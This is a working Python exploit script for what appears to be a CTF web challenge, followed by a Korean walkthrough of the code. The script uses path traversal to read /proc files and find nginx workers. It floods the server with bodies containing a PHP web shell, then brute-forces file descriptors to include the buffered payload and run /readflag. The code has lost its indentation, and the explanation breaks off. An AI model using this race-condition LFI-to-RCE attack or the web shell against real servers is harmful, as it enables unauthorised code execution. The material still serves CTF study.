#!/usr/bin/env python3
import sys, threading, requests
URL = f'http://3.39.38.109:9999'
# find nginx worker processes
r = requests.get(URL, params={
'only[welcome.txt': '../../.txt/../../../proc/cpuinfo'
})
cpus = r.text.count('processor')
print(cpus)
# r = requests.get(URL, params={
# 'only[welcome.txt': '../../.txt/../../../proc/sys/kernel/pid_max'
# })
# pid_max = int(r.text)
pid_max = int(500)
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')
nginx_workers = []
for pid in range(pid_max):
r = requests.get(URL, params={
'only[welcome.txt': f'../../.txt/../../../proc/{pid}/cmdline'
})
if b'nginx: worker process' in r.content:
print(f'[*] nginx worker found: {pid}')
nginx_workers.append(pid)
if len(nginx_workers) >= cpus:
break
done = False
def uploader():
print('[+] starting uploader')
while not done:
requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')
for _ in range(16):
t = threading.Thread(target=uploader)
t.start()
def bruter(pid):
global done
while not done:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
f = f'../../.txt/../../../proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
r = requests.get(URL, params={
'only[welcome.txt': f,
'c': f'/readflag'
})
if r.text:
print(f'[!] {f}: {r.text}')
done = True
exit()
for pid in nginx_workers:
a = threading.Thread(target=bruter, args=(pid, ))
a.start()
# /proc/cpuinfo에서 CPU 개수를 확인
r = requests.get(URL, params={
'only[welcome.txt': '../../.txt/../../../proc/cpuinfo'
})
cpus = r.text.count('processor')
먼저 시스템의 CPU 수를 알아내기 위해 /proc/cpuinfo 파일을 읽습니다
only[welcome.txt라는 배열 형태의 파라미터를 사용해 경로 탐색을 시도합니다
# 프로세스를 순회하면서 nginx 워커를 찾음
for pid in range(pid_max):
r = requests.get(URL, params={
'only[welcome.txt': f'../../.txt/../../../proc/{pid}/cmdline'
})
모든 프로세스를 순회하면서 nginx 워커 프로세스를 찾습니다
찾은 워커의 PID를 저장합니다.
def uploader():
while not done:
requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')
def bruter(pid):
while not done:
for fd in range(4, 32):
f = f'../../.txt/../../../proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
nginx 워커의 파일 디스크립터를 순회하면서
업로드된 PHP 코드가 있는 임시 파일을 찾으려 시도합니다
성공하면 /readflag 명령을 실행해 플래그를 얻습니다
이 익스플로잇이 작동하는 원리:
즉, 단순한 경로 탐색으로는 해결할 수 없었던 이유가, 실제로는 레이스 컨디션을 이용한 복잡한 공격이기 때문이다